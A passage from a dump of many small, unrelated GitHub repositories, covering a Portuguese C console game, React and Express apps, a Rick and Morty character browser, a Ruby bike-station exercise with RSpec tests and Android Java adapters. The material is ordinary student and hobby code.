fase) { char cenario[25][25]; agente jogador, inimigo, inimigo2; char direcao; uchar qtdAneis; uchar posAnel[2]; uchar posAnel2[2]; uchar tempo = 0; bool gelo = false; bool flag = false; bool flag2 = false; bool continuarJogo = true; HWND hwnd = GetConsoleWindow(); if(hwnd != NULL) MoveWindow(hwnd ,150,50 ,590, 600, TRUE); strcpy(jogador.categoria, "jogador"); strcpy(inimigo.categoria, "inimigo"); strcpy(inimigo2.categoria, "inimigo2"); do { direcao = 'z'; jogador = resetarPosicoes(jogador, fase); inimigo = resetarPosicoes(inimigo, fase); if(fase == 3) inimigo2 = resetarPosicoes(inimigo2, fase); else { inimigo2.linha = 99; // apenas para retirar o inimigo2 de jogo nas rodadas 1 e 2 inimigo2.coluna = 99; } montarCenario(fase, cenario, jogador); qtdAneis = gerarAneis(cenario, fase); system("cls"); printf("\n\tFase %d", fase); printf("\t\t\t\t Aneis restantes: %d",qtdAneis); mostrarJogo(cenario, jogador, inimigo, inimigo2); do { if(wasTouched(jogador, inimigo, inimigo2)) // se o inimigo tocar no jogador o jogo termina break; if(cenario[jogador.linha][jogador.coluna] == 'a') // Retirar as Aneis apรƒยณs captura { qtdAneis--; cenario[jogador.linha][jogador.coluna] = '0'; moverCursor(2,59, false); printf("%d ",qtdAneis); } if(flag) // mostra denovo a Anel que o inimigo passou por cima { moverCursor(posAnel[0], posAnel[1], true); printf(AMARELO "o" CINZA); } if(cenario[inimigo.linha][inimigo.coluna] == 'a') // se o inimigo passar por cima da Anel ela nao desaparece { flag = true; posAnel[0] = inimigo.linha; posAnel[1] = inimigo.coluna; } else flag = false; if(fase == 3) { if(flag2) // mostra denovo a Anel que o inimigo passou por cima { moverCursor(posAnel2[0], posAnel2[1], true); printf(AMARELO "o" CINZA); } if(cenario[inimigo2.linha][inimigo2.coluna] == 'a') // se o inimigo passar por cima da Anel ela nao desaparece { flag2 = true; posAnel2[0] = inimigo2.linha; posAnel2[1] = inimigo2.coluna; } else flag2 = false; } if(cenario[jogador.linha][jogador.coluna] == 't') // movimentao apos teletransporte. valido apenas para fase 3 (jogador.linha < 5) ? direcao = 'w' : direcao = 'a'; // identificar qual a porta de teletransporte jogador = acaoJogador(direcao, jogador, cenario, &gelo); // atualizar posicao do jogador if(!gelo) inimigo = acaoInimigo(inimigo, jogador, cenario, fase); // atualizar posicao do inimigo if(fase == 3 && !gelo) inimigo2 = acaoInimigo(inimigo2, jogador, cenario, fase); // atualizar posicao do segundo inimigo if(kbhit()) { direcao = getch(); // pegar tecla digitada do usuรƒยกrio if(direcao == 27) // se o usuario deigitar ESC o jogo volta ao menu { moverCursor(1,1,false); // so pra melhorar a transicao da troca de tela return fase; } } if(gelo) // se o inimigo estiver comgelado, tem que ser contado o tempo de congelamento { tempo++; moverCursor(inimigo.linha,inimigo.coluna,true); printf(CIANO "%c%c" CINZA,178,178); if(fase == 3) { moverCursor(inimigo2.linha,inimigo2.coluna,true); printf(CIANO "%c%c" CINZA,178,178); } moverCursor(2, 18, false); printf(CIANO "# Inimigo Congelado #" CINZA); moverCursor(25, 0,true); } if(tempo == 25) // 20 eh o tempo de congelamento, quando chegar nele o inimigo descongela { moverCursor(2, 18, false); printf(" "); moverCursor(25, 0,true); gelo = false; tempo = 0; } Sleep(ESPERA); }while(qtdAneis > 0); putchar('\a'); moverCursor(32, 9, false); if(qtdAneis > 0) animacaoDerrota(); else { animacaoVitoria(fase); fase++; if(fase == 4) { system("cls"); printf("Parabens !!!"); printf("Voce zerou o jogo :)\n"); fase = 1; } } printf("Deseja continuar jogando? (S/N): "); do { direcao = getch(); // aproveitamento de variaveis }while(direcao != 's' && direcao != 'n' && direcao != 'S' && direcao != 'N'); // somente sai do laco se usuario digitar opcoes validas switch(direcao) { case 'S': continuarJogo = true; break; case 's': continuarJogo = true; break; case 'N': continuarJogo = false; break; case 'n': continuarJogo = false; } }while(continuarJogo); system("cls"); printf("Obigado por jogar :)\nDesenvolvido por Yure Matias\n\n"); Sleep(2000); return fase; } void creditos() { system("cls"); printf("CREDITOS:\n"); printf("\n Esse jogo foi desenvolvido por Yure Matias de Oliveira" "\n como trabalho da terceira unidade da disciplina de logica" "\n computacional e algoritmos ofertada pela professora" "\n Laura Emmanoela Alves dos Santos Santana de Oliveira, no" "\n curso de tecnologo em Analise e Desenvolvimento de Sistemas" "\n da Universidade Federal do Rio Grande do Norte(UFRN) campus" "\n de Macaiba, onde se situa a Escola Agricola de Jundiai(EAJ)."); printf("\n\n Acesse: "); printf(AZUL "https://github.com/Yurematias/Ringo-Game" CINZA); printf("\n\nPressione ESC para voltar"); while(getch() != 27); // 27 eh o numero correspondente ao ESC da tabela ASCII } void manual() { system("cls"); printf("CONTROLES:\n"); printf("\n W - Cima\n S - Baixo\n D - Direita\n A - Esquerda"); printf("\n Setas - Movimentacao com um maior controle"); printf("\n ESC - Voltar ao menu"); printf("\n\nOBJETIVO:\n"); printf("\n Capture todas as moedas\n para ir para o proximo nivel.\n Nao seja pego pelo inimigo."); printf("\n\nLEGENDA:\n"); printf("\n * Jogador: %c",254); printf("\n * Inimigo: " VERMELHO); printf("%c" CINZA, 254); printf("\n * Aneis: " AMARELO); printf("o" CINZA); printf("\n * Congelar Inimigo : " CIANO); printf("#" CINZA); printf("\n * Teletransporte: " ROXO); printf("%c\n\n" CINZA,178); printf(" Pressione ESC para voltar"); while(getch() != 27); // 27 eh o numero correspondente ao ESC da tabela ASCII } void mostrarMenu(char opcao) { printf("\n\n\n\t\t "); printf("%s",(opcao == 1) ? FUNDOBRANCO PRETO " INICIAR JOGO " FUNDOPRETO CINZA " <<=" : " INICIAR JOGO "); printf("\n\n\t\t "); printf("%s",(opcao == 2) ? FUNDOBRANCO PRETO " MANUAL " FUNDOPRETO CINZA " <<=" : " MANUAL "); printf("\n\n\t\t "); printf("%s",(opcao == 3) ? FUNDOBRANCO PRETO " CREDITOS " FUNDOPRETO CINZA " <<=" : " CREDITOS "); printf("\n\n\t\t "); printf("%s",(opcao == 4) ? FUNDOBRANCO PRETO " SAIR " FUNDOPRETO CINZA " <<=" : " SAIR "); printf("\n\n\n\n\t\t "); } ```
yuriamana/set-up-app-configuration
yuriamana/set-up-app-configuration routes.js ```// const required to use express const express = require('express'); // set a new express router to use in the app.js file const router = new express.Router(); // calls the catModel from the models folder const catModel = require('./../models/Cat.js'); // creates the controller for the all-cats.hbs page const catController = (req, res, render) => { // logic goes here // render the elements of the page res.render("all-cats.hbs", { // render different alements if needed }) } // route for the index page router.get("/", ((req, res, next) => { res.render("index.hbs"); })); // route for the all-cat page router.get("/all-cats", catController);```
yuricronx/Prueba
yuricronx/Prueba README.md ```"#Prueba" "# Prueba" "# Prueba" "# la clase de taller fue muy clara" ```
yuridevops/Ultra-ReactStyledReact
yuridevops/Ultra-ReactStyledReact Data.ts ```const svg1 = require("../../images/svg1.svg").default as string; const svg2 = require("../../images/svg2.svg").default as string; const svg3 = require("../../images/svg3.svg").default as string; const svg4 = require("../../images/svg4.svg").default as string; export const homeObjOne = { lightBg: false, lightTopLine: true, primary: true, lightText: true, lightTextDesc: true, imgStart: true, buttonLabel: 'Get Started', description: `We help business owners increase their revenue. Our team of unique specialist can help you achive yout business goals.`, topLine: 'Marketing Agency', headLine: 'Lead Generation Specialist for Online Business', img: svg1, alt: 'Image', } export const homeObjTwo = { lightBg: true, lightTopLine: true, primary: false, lightText: false, lightTextDesc: false, imgStart: false, buttonLabel: 'Get Started', description: `We help business owners increase their revenue. Our team of unique specialist can help you achive yout business goals.`, topLine: 'Marketing Agency', headLine: 'Lead Generation Specialist for Online Business', img: svg2, alt: 'Image', } export const homeObjThree = { lightBg: false, lightTopLine: true, primary: true, lightText: true, lightTextDesc: true, imgStart: true, buttonLabel: 'Get Started', description: `We help business owners increase their revenue. Our team of unique specialist can help you achive yout business goals.`, topLine: 'Marketing Agency', headLine: 'Lead Generation Specialist for Online Business', img: svg3, alt: 'Image', } export const homeObjFour = { lightBg: true, lightTopLine: true, primary: false, lightText: false, lightTextDesc: false, imgStart: false, buttonLabel: 'Get Started', description: `We help business owners increase their revenue. Our team of unique specialist can help you achive yout business goals.`, topLine: 'Marketing Agency', headLine: 'Lead Generation Specialist for Online Business', img: svg4, alt: 'Image', } ``` infoSection.elements.ts ```import styled from 'styled-components' interface InfoSecProps { lightBg?: boolean } interface InfoRowProps { imgStart?: boolean; } interface TopLineProps { lightTopLine?: boolean; } interface HeadingProps { lightText?: boolean; } interface SubtitleProps { lightTextDesc?: boolean; } interface ImgWrapperProps { start?: boolean; } export const InfoSec = styled.div<InfoSecProps>` color: #fff; padding: 160px 0; background: ${props => props.lightBg ? '#fff' : '#101522'}; ` export const InfoRow = styled.div<InfoRowProps>` display: flex; margin: 0 -15px -15px -15px; flex-wrap: wrap; align-items: center; flex-direction: ${props => props.imgStart ? 'row-reverse' : 'row'}; ` export const InfoColumn = styled.div` margin-bottom: 15px; padding-right: 15px; padding-left: 15px; flex: 1; max-width: 50%; flex-basis: 50%; @media screen and (max-width: 768px){ max-width: 100%; flex-basis: 100%; display: flex; justify-content: center; } ` export const TextWrapper = styled.div` max-width: 540px; padding-top: 0; padding-bottom: 60px; @media screen and (max-width: 768px){ padding-bottom: 65px; } ` export const TopLine = styled.div<TopLineProps>` color: ${props => props.lightTopLine ? '#a9b3c1' : '#4b59f7'}; font-size: 18px; line-height: 16px; letter-spacing: 1.4px; margin-bottom: 16px; ` export const Heading = styled.h1<HeadingProps>` margin-bottom: 24px; font-size: 48px; line-height: 1.1; color: ${props => props.lightText ? '#f7f8fa' : '#1c2237'}; ` export const Subtitle = styled.p<SubtitleProps>` max-width: 440px; margin-bottom: 35px; font-size: 18px; line-height: 24px; color: ${props => props.lightTextDesc ? '#a9b3c1' : '#1c2237'}; ` export const ImgWrapper = styled.div<ImgWrapperProps>` max-width: 555px; display: flex; justify-content: ${props => props.start ? 'flex-start' : 'flex-end'}; ` export const Img = styled.img` padding-right: 0; border: 0; max-width: 100%; vertical-align: middle; display: inline-block; max-height: 500px; ` ``` index.ts ```export { default as Navbar } from './Navbar/Navbar' export { default as InfoSection } from './InfoSection/InfoSection' export { default as Footer } from './Footer/Footer' export { default as ScrollToTop } from './ScrollToTop'```
yurii-lubynets/bount
yurii-lubynets/bount README.md ```# Bount Simple to-do lists are great for keeping track of tasks you need to accomplish. But if youโ€™re working with a team where tasks have sub-tasks that have sub-sub-tasks and more, thatโ€™s where you especially need a project management software. Project management apps, even simple ones like Trello, can break your project down into achievable steps and give your team a more manageable workflow. ### Installing ``` bash # install dependencies npm install # serve with hot reload at localhost:8080 npm run dev # build for production with minification npm run build # build for production and view the bundle analyzer report npm run build --report ``` ### Code Bount has a standard architectural layering of: server side APIs with a JavaScript client on the front-end. The backend mainly serves up data through RESTful, link-based APIs. The front-end, in addition to `React`, uses `Redux` to manage application state and `Redux-thunk` to deal with asynchronous actions, primarily data fetching. <br><br> All app code is located in `src` folder.<br> The `action` folder contains all Redux Actions.<br> The `components` folder keeps all reusable components and app pages.<br> The Reducers in the folder `reducers` specify how the application's state changes in response to actions sent to the store.<br>``` App.js ```import React, { PureComponent } from "react"; import Routes from "../routes"; import Chat from "./Chat"; class App extends PureComponent { render() { return ( <div> <Routes /> <Chat /> </div> ) } } export default App; ```
yuriipopovych/jshw1task2
yuriipopovych/jshw1task2 script.js ```function recFunc (a) { if (a > 0) { console.log( a ); return recFunc (a-1); } } recFunc(10); var teXt = "conversely:"; console.log(teXt); function recFunc2 (b) { if (b <= 10) { console.log( b ); return recFunc2 (b+1); } } recFunc2(1);```
yuriko-mm/yuriko-mm.github.io
yuriko-mm/yuriko-mm.github.io README.md ```# yuriko-mm.github.io```
yurireeis/hubot-natural
yurireeis/hubot-natural README.md ```# Hubot Natural Language ChatBot ## How it Works ### YAML corpus ### Logistic Regression Classifier #### PorterStemmer ### Coffee Classes ## Deploy with Hubot ## Hubot Adapters [hubot-adapters]: https://github.com/github/hubot/blob/master/docs/adapters.md ## Thanks to ### Natural Node Project ### Digital Ocean's Heartbot ```
yuriss123/yuriss123.github.io
yuriss123/yuriss123.github.io README.md ```# yuriss123.github.io ะกะฐะนั‚ั‹ ```
yuritalinda/SCL017-data-lovers
yuritalinda/SCL017-data-lovers data.js ```import data from './data/rickandmorty/rickandmorty.js'; let personajes = data.results; //Esto es un array de objetos const datosRyM= { arrayQueMuestraTodos: function () { let arrayPersonajes= []; for (let i=0 ; i < personajes.length ; i++){ arrayPersonajes.push(personajes[i]); } return arrayPersonajes; }, //funciรณn que debe filtrar por nombre de input y devolver un array con todos los match filterByName : function(catchInput) { const nombreInput = catchInput.toLowerCase(); const arrayNombres = []; //iteramos cada elemento y se comparรณ con el nombre ingresado, devuelve array de nombres que coinciden for (let i=0 ; i< personajes.length; i++){ if (personajes[i].name.toLowerCase().includes(nombreInput)){ arrayNombres.push(personajes[i]); } } return arrayNombres; }, //funciรณn para ordenar A - Z ordenAZ : function (arrayOrden) { let dataEnter = (arrayOrden != undefined && arrayOrden.length > 0) ? arrayOrden : data.results; return dataEnter.sort(function(a, b) { if (a.name > b.name) { return 1; } if (a.name < b.name) { return -1; } return 0; }); }, // Funciรณn ordenar Z -A ordenZA : function (arrayOrden) { let dataEnter = (arrayOrden != undefined && arrayOrden.length > 0) ? arrayOrden : data.results; return dataEnter.sort(function(a, b) { if (a.name < b.name) { return 1; } if (a.name > b.name) { return -1; } return 0; }); }, }; export default datosRyM; ``` main.js ```import datosRyM from './data.js'; console.log(datosRyM); //console log que nos dice los metodos de DATA.JS //Variables, constantes y atrapadas de elementos const lupa = document.getElementById("search"); const arrayTodos = datosRyM.arrayQueMuestraTodos(); const main = document.getElementById("main-container"); let selectInput = document.getElementById("filtro"); let arrayOrden; //////////eventos//////////// window.addEventListener("load" , ()=>{ //funciรณn para disparar todos los bichos en el main mostrarBichosMain(arrayTodos); } ); lupa.addEventListener("click", filtraNombre); selectInput.addEventListener("change", ()=> { //Funciรณn para disparar mรกs de un evento const value = selectInput.options[selectInput.selectedIndex].value; switch (value) { case 'A-Z' : ordenAZ(); break; case 'Z-A' : ordenZA(); break; case '...' : main.innerHTML=""; mostrarBichosMain(arrayTodos); break; } }) //////////////////funciones//////////////// function mostrarBichosMain(arrayTodos) { for(let i = 0 ; i< arrayTodos.length; i++){ const container = document.createElement("div") container.className= "container"; const fichasContainer = document.createElement("div") fichasContainer.className = "fichasContainer"; container.appendChild(fichasContainer); const img = document.createElement("img") img.src = arrayTodos[i].image; img.className = "imagen-ficha-main"; fichasContainer.appendChild(img); container.appendChild(fichasContainer) const name = document.createElement("h1") name.className = "nombreFichaMain"; const nameText = document.createTextNode(arrayTodos[i].name); name.appendChild(nameText); fichasContainer.appendChild(name); container.appendChild(fichasContainer); document.getElementById("main-container").appendChild(container); } openModal(arrayTodos); console.log(main); } function openModal(array){ let clickPersonajes = document.getElementsByClassName("fichasContainer"); let modalPersonajes = document.getElementById("modal-container"); modalPersonajes.style.display= "none"; for(let i=0; i<clickPersonajes.length; i++){ let clickFicha = clickPersonajes[i]; clickFicha.addEventListener("click" , ()=>{ modalPersonajes.style.display= "block"; modalPersonajes.innerHTML += `<div class="fichaModal"> <div id="contenedorInfo" class="info"> <img class="imgModal" src=${array[i].image}> <div class="infoPersonajeModal"> <h1 class="name">${array[i].name}</h1> <h2 class="species">${array[i].species} - ${array[i].status}</h2> <div class="modalOrigin"> <p class="titleModal">Dรณnde vive</p> <div class="origin">${array[i].origin.name}</div> </div> <div class="modalEpisode"> <p class="titleModal">Episodios donde aparece</p> <div class="episode">${array[i].episode.length}</div> </div> </div> </div> <div class="close"><span class="closeModal">&times;</span></div> </div>`; let closeModal = document.getElementsByClassName("closeModal")[0]; closeModal.addEventListener("click",()=>{ modalPersonajes.style.display= "none"; modalPersonajes.innerHTML = ""; }); }); } } function filtraNombre(){ let catchInput = (document.getElementById("input-search").value); let arrayNombres = datosRyM.filterByName(catchInput); console.log(arrayNombres); if(arrayNombres.length === 0){ console.log("El objeto estรก vacรญo"); //Hacer mensaje de error dinรกmico } main.innerHTML = ""; mostrarBichosMain(arrayNombres); } function ordenAZ() { arrayOrden = datosRyM.ordenAZ(arrayOrden); main.innerHTML = ""; mostrarBichosMain(arrayOrden); console.log('esta funcionando la funcion de opcion AZ'); } function ordenZA() { arrayOrden = datosRyM.ordenZA(arrayOrden); main.innerHTML = ""; mostrarBichosMain(arrayOrden); console.log('esta funcionando la funcion de opcion ZA'); } ``` README.md ```๏ปฟ# Proyecto Data Lovers Rick y Morty ## รndice * 1. Preรกmbulo * 2. Definiciรณn del producto * 3. Definiciรณn del usuario * 4. Etapa de diseรฑo * 5. Historias de usuario * 6. Diseรฑo Final *** ## 1. Preรกmbulo [Rick y Morty](https://es.wikipedia.org/wiki/Rick-y-Morty), es una serie de animaciรณn estadounidense para adultos creada por Justin Roiland y Dan Harmon en 2013. Hasta ahora cuenta, con 4 temporadas y 41 episodios, la serie sigue las desventuras de un cientรญfico, Rick Sanchez, y su influenciable nieto, Morty Smith, quienes pasan el tiempo entre la vida domรฉstica y los viajes espaciales, temporales e intergalรกcticos. Despuรฉs de haber estado desaparecido durante casi 20 aรฑos, Rick Sรกnchez llega de imprevisto a la puerta de la casa de su hija Beth y se va a vivir con ella y su familia utilizando el garaje como su laboratorio personal. ## 2. Definicion del Producto El objetivo de nuestro producto es que los usuarios logren identificar de forma rรกpida y eficaz los personajes que aparecen en la serie. La aplicaciรณn que creamos entrega la facilidad de poder filtrar por categorรญas: por nombre, por lugar de origen y alfabรฉticamente (A hasta la Z o viceversa),. Ademรกs cuenta con un buscador, para que los usuarios escriban los datos de los personajes que quieran ver. El producto tiene la caracterรญstica de ser responsiva, por lo tanto, esta diseรฑada para funcionar de forma optima en dispositivos como celulares, tablets, etc. ## 3. Definicion del usuario Los usuarios objetivos del producto son espectadores que ya conocen la serie (con un rango etario de entre 25 y 40 aรฑos mรกs o menos). Estos usuarios ya conocen la serie y a todos los personajes principales y secundarios que aparecen en la serie a lo largo de las 4 temporadas. Nuestra web otorgara a los fanaticos y no tanto diversion e informacion sobre todos los personajes, ya que cuenta con filtros de bรบsqueda para conocer todos los datos relevantes y sabosos. Asรญ, los usuarios podrรกn tener acceso a todos sus personajes favoritos de la serie. ## 4. Etapa de diseรฑo El proceso de diseรฑo del producto siguiรณ la siguiente planeaciรณn: Primero se conversรณ acerca de las historias de usuarios que usariamos como base para el diseรฑo de nuestro producto. Luego de llegar a un acuerdo y en base a una lluviacantidad de ideas, creamos entre las tres el primer prototipo en papel, y definimos cรณmo serรญan los elementos de la pรกgina (tamaรฑos y formas) y cรณmo estos se pondrian en el producto. Asรญ, al tener ya un diseรฑo definido, acordamos traspasar los bocetos en papel a nuestro prototipo de alta fidelidad en Figma,finalmente, luego de ajustar unos detalles, se realizรณ el boceto final en Figma con los colores, imรกgenes y texto finales. ## Bocetos en papel ![portada](https://i.postimg.cc/tCznRvrs/Portada1.jpg) ![main](https://i.postimg.cc/prfhFsR1/Portada2.jpg) ## Historias de usuario ![](https://i.postimg.cc/8kMr9zMB/Historia-1-criterios-terminado.png) ## Resultado diseรฑo final ![enter image description here](https://i.postimg.cc/cCytCpyn/Prototipo-Alta-Fidelidad.png) ``` data.spec.js ```import datosRyM from '../src/data'; describe('filterByName', () => { it('is a function', () => { expect(typeof datosRyM.filterByName).toBe('function'); }); it.skip('returns the correct character(s)', () => { // Arrange // Preparar los datos de entrada y lo que esperamos de vuelta de la funciรณn // Act // Ejecutar la funciรณn, atrapando el valor de retorno // Assert // Comparar el valor de retorno de la funciรณn con el valor esperado inicializado en la etapa de Arrange }); }); describe('ordenAZ', () => { it('is a function', () => { expect(typeof datosRyM.ordenAZ).toBe('function'); }); it.skip('returns `datosRyM.ordenAZ`', () => { expect(datosRyM.ordenAZ()).toBe('OMG'); }); }); describe('ordenZA', () => { it('is a function', () => { expect(typeof datosRyM.ordenZA).toBe('function'); }); it.skip('returns `datosRyM.ordenZA`', () => { expect(datosRyM.ordenZA()).toBe('OMG'); }); });```
yurizhuravel/london-bikes
yurizhuravel/london-bikes docking_station.rb ```require_relative 'bike' class DockingStation DEFAULT_CAPACITY = 20 attr_reader :bike, :bikes attr_accessor :capacity def initialize(capacity=DEFAULT_CAPACITY) @bikes = [] @capacity = capacity end def release_bike fail 'No bikes available' if station_empty @bikes.pop end def dock(bike) fail 'Docking station full' if station_full @bikes << bike end private def station_full @bikes.length >= @capacity end def station_empty @bikes.empty? end end ``` docking_station_spec.rb ```require "docking_station" describe DockingStation do it {is_expected.to respond_to(:release_bike)} it 'releases working bikes' do bike = Bike.new expect(bike).to be_working end it {is_expected.to respond_to(:dock).with(1).argument} it {is_expected.to respond_to(:bike)} it 'docks bikes' do bike = Bike.new expect(subject.dock(bike)).to eq [bike] end it 'returns docked bikes' do bike = Bike.new subject.dock(bike) expect(subject.bikes).to eq [bike] end it 'releases bikes' do bike = Bike.new subject.dock(bike) expect(subject.release_bike).to eq bike end describe "#release_bike" do it 'raises an error when there are no bikes available' do #we are not docking a bike first now #subject is DockingStation.new expect {subject.release_bike}.to raise_error 'No bikes available' end end describe "#dock" do it 'raises an error when full' do DockingStation::DEFAULT_CAPACITY.times {subject.dock(Bike.new)} expect {subject.dock (Bike.new)}.to raise_error 'Docking station full' end end it 'has a default capacity' do expect(subject.capacity).to eq DockingStation::DEFAULT_CAPACITY end describe 'station_initialization' do subject {DockingStation.new} let (:bike) {Bike.new} it 'defaults capacity' do described_class::DEFAULT_CAPACITY.times do subject.dock(bike) end expect { subject.dock(bike) }.to raise_error 'Docking station full' end end end ```
yusaislam48/rest-countries-router
yusaislam48/rest-countries-router App.js ```import './App.css'; import Home from './Components/Home/Home'; import { BrowserRouter as Router, Switch, Route, // Link } from "react-router-dom"; import NotFount from './Components/NotFound/NotFount'; import CountryDetails from './Components/CountryDetails/CountryDetails'; import Header from './Components/Header/Header'; function App() { return ( <div> <Header></Header> <Router> <Switch> <Route path="/home"> <Home></Home> </Route> <Route path="/country/:countryName"> <CountryDetails></CountryDetails> </Route> <Route exact path="/"> <Home></Home> </Route> <Route path="*"> <NotFount/> </Route> </Switch> </Router> </div> ); } export default App; ``` Home.js ```import Countries from '../Countries/Countries'; import Loading from '../Loading/Loading'; const Home = () => { return ( <div> <Countries></Countries> {/* <Loading></Loading> */} </div> ); }; export default Home;``` Country.js ```import React from 'react'; import { makeStyles } from '@material-ui/core/styles'; import Card from '@material-ui/core/Card'; import CardActionArea from '@material-ui/core/CardActionArea'; import CardActions from '@material-ui/core/CardActions'; import CardContent from '@material-ui/core/CardContent'; import CardMedia from '@material-ui/core/CardMedia'; import Button from '@material-ui/core/Button'; import Typography from '@material-ui/core/Typography'; import Box from '@material-ui/core/Box'; import { Link, useHistory } from 'react-router-dom'; const useStyles = makeStyles({ root: { maxWidth: 345, }, media: { height: 140, }, }); const Country = (props) => { const {name, flag} = props.country; const history = useHistory(); const clickHandler = (name) =>{ history.push(`/country/${name}`); } const classes = useStyles(); return ( <div className='col-md-3'> <Box display="flex" flexWrap="wrap" p={1} m={1} bgcolor="background.paper" css={{ maxWidth: 300 }} > <Card className={classes.root}> {/* <Link to={`/country/${name}`}> */} <CardActionArea onClick={()=>clickHandler(name)}> <CardMedia className={classes.media} image={flag} title="Contemplative Reptile" /> <CardContent> <Typography gutterBottom variant="h5" component="h2"> {name} </Typography> <Typography variant="body2" color="textSecondary" component="p"> Lorem ipsum dolor sit amet consectetur, adipisicing elit. Laborum, officia? Consequatur delectus veniam quaerat nobis ipsa aliquam totam velit id? </Typography> </CardContent> </CardActionArea> {/* </Link> */} <CardActions> <Button size="small" color="primary"> Share </Button> <Link to={`/country/${name}`}> <Button size="small" color="primary"> Learn More </Button> </Link> </CardActions> </Card> </Box> </div> ); }; export default Country;``` CountryDetails.js ```import { CircularProgress } from '@material-ui/core'; import React, { useEffect, useState } from 'react'; import { useParams } from 'react-router'; const CountryDetails = () => { document.title = "Country Details" const {countryName} = useParams(); const [country, setCountry] = useState([]); const[loading, setLoading] = useState(true); useEffect(()=>{ const url = `https://restcountries.eu/rest/v2/name/${countryName}`; fetch(url) .then(res => res.json()) .then(data => { setCountry(data[0]); setLoading(false); }) }, [countryName]); const {name, population, region, subregion, capital, flag} = country; return ( <div> { loading ? <CircularProgress /> : <div className='d-flex justify-content-center align-items-center p-5'> <div className="card" style={{width: "18rem"}}> <img src={flag} className="card-img-top" alt="..." /> <div className="card-body"> <h5 className="card-title">{name}</h5> <p className="card-text">Population: {population}</p> <p className="card-text">region: {region}</p> <p className="card-text">subregion: {subregion}</p> <p className="card-text">capital: {capital}</p> <a href="/" className="btn btn-primary">Back</a> </div> </div> </div> } </div> ); }; export default CountryDetails;```
yussel53/Logo_Efat
yussel53/Logo_Efat README.md ```# Logo_Efat Logo_Efat ```
yusufadhiyaksa/borstel
yusufadhiyaksa/borstel GetJasaProduk.java ```package com.example.borstel; import java.util.List; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class GetJasaProduk { @SerializedName("jasa") @Expose private List<ModelJasa> jasa = null; @SerializedName("produk") @Expose private List<ModelProduk> produk = null; @SerializedName("status") @Expose private String status; public List<ModelJasa> getJasa() { return jasa; } public void setJasa(List<ModelJasa> jasa) { this.jasa = jasa; } public List<ModelProduk> getProduk() { return produk; } public void setProduk(List<ModelProduk> produk) { this.produk = produk; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } }``` ModelProduk.java ```package com.example.borstel; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class ModelProduk { @SerializedName("produk_id") @Expose private String produkId; @SerializedName("produk_nama") @Expose private String produkNama; @SerializedName("produk_desc") @Expose private String produkDesc; @SerializedName("produk_gambar") @Expose private String produkGambar; @SerializedName("produk_harga") @Expose private String produkHarga; public String getProdukId() { return produkId; } public void setProdukId(String produkId) { this.produkId = produkId; } public String getProdukNama() { return produkNama; } public void setProdukNama(String produkNama) { this.produkNama = produkNama; } public String getProdukDesc() { return produkDesc; } public void setProdukDesc(String produkDesc) { this.produkDesc = produkDesc; } public String getProdukGambar() { return produkGambar; } public void setProdukGambar(String produkGambar) { this.produkGambar = produkGambar; } public String getProdukHarga() { return produkHarga; } public void setProdukHarga(String produkHarga) { this.produkHarga = produkHarga; } }``` RecyclerViewAdapter.java ```package com.example.borstel; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.cardview.widget.CardView; import androidx.recyclerview.widget.RecyclerView; import com.bumptech.glide.Glide; import java.util.List; public class RecyclerViewAdapter extends RecyclerView.Adapter<RecyclerViewAdapter.MyViewHolder> { Context mContext2 ; private List<ModelProduk> mData2; public RecyclerViewAdapter(Context mContext2, List<ModelProduk> mData2) { this.mContext2 = mContext2; this.mData2 = mData2; } @Override public MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view ; view = LayoutInflater.from(mContext2).inflate(R.layout.cardview_produk,parent,false); MyViewHolder vHld = new MyViewHolder(view); return vHld; } @Override public void onBindViewHolder(@NonNull MyViewHolder holder, int position) { holder.tv_produk_title.setText(mData2.get(position).getProdukNama()); ImageView img = ((MyViewHolder) holder).img_produk_thumbnail; Glide.with(holder.itemView.getContext()) // LOAD URL DARI INTERNET .load(mData2.get(position).getProdukGambar()) // LOAD GAMBAR AWAL SEBELUM GAMBAR UTAMA MUNCUL, BISA DARI LOKAL DAN INTERNET .placeholder(R.drawable.bors_logo) //. LOAD GAMBAR SAAT TERJADI KESALAHAN MEMUAT GMBR UTAMA .error(R.drawable.ic_error_black_24dp) .into(holder.img_produk_thumbnail); } @Override public int getItemCount() { return mData2.size(); } public static class MyViewHolder extends RecyclerView.ViewHolder { private TextView tv_produk_title; private ImageView img_produk_thumbnail; private CardView cardView; public MyViewHolder(View itemView) { super(itemView); tv_produk_title = (TextView) itemView.findViewById(R.id.produk_title); img_produk_thumbnail = (ImageView) itemView.findViewById((R.id.produk_img)); cardView = (CardView) itemView.findViewById(R.id.cardview_id); } } } ``` FragmentBors.java ```package com.example.borstel; import android.os.Bundle; import androidx.fragment.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; public class FragmentBors extends Fragment { public FragmentBors() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_bors, container, false); } } ``` RecyclerViewAdapterJasa.java ```package com.example.borstel; import android.app.Dialog; import android.content.Context; import android.content.Intent; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.LinearLayout; import android.widget.TextView; import androidx.annotation.NonNull; import androidx.cardview.widget.CardView; import androidx.recyclerview.widget.RecyclerView; import java.util.List; public class RecyclerViewAdapterJasa extends RecyclerView.Adapter<RecyclerViewAdapterJasa.MyViewHolder> { Context mContext ; private List<ModelJasa> mData ; public RecyclerViewAdapterJasa(Context mContext, List<ModelJasa> mData) { this.mContext = mContext; this.mData = mData; } @Override public MyViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View v ; v = LayoutInflater.from(mContext).inflate(R.layout.cardview_jasa,parent,false); final MyViewHolder vHolder = new MyViewHolder(v); return vHolder; } @Override public void onBindViewHolder(@NonNull MyViewHolder holder, final int position) { holder.tv_jasa_title.setText(mData.get(position).getJasaNama()); holder.tv_jasa_desc.setText(mData.get(position).getJasaDesc()); holder.tv_jasa_harga.setText(mData.get(position).getJasaHarga()); holder.tv_jasa_durasi.setText(mData.get(position).getJasaDurasi()); } @Override public int getItemCount() { return mData.size(); } public static class MyViewHolder extends RecyclerView.ViewHolder { private TextView tv_jasa_title; private TextView tv_jasa_desc; private TextView 